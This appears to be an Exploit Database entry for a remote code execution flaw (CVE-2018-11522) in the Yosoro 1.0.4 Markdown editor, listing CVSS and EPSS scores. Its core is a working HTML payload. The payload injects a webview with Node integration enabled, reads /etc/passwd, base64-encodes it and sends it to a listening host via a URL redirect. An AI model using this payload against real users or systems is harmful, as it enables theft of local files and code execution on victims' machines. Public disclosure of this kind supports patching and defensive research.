Yosoro 1.0.4 - Remote Code Execution

2018-05-3000:00:00

Carlo Pelliccioni

www.exploit-db.com

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

51.9%

JSON

# Exploit title: Yosoro 1.0.4 - Remote Code Execution
# Date: 2018-05-29
# Exploit Author: Carlo Pelliccioni
# Vendor homepage: https://yosoro.coolecho.net/
# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip
# Version: 1.0.4
# Tested on: MacOS 10.13.4
# CVE: CVE-2018-11522
#  _  _            _    _    _             ___                      _  _         
# | || | __ _  __ | |__| |_ (_)__ __ ___  / __| ___  __  _  _  _ _ (_)| |_  _  _ 
# | __ |/ _` |/ _|| / /|  _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| ||  _|| || |
# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_|  |_| \__| \_, |

# Remote Code Execution (CVE-2018-11522)
# Payload: 

<webview src="data:text/html,<script>var read = require('fs').readFileSync('/etc/passwd', 'utf-8'); document.location='http://127.0.0.1:8089/'+btoa(read); </script>" nodeintegration></webview>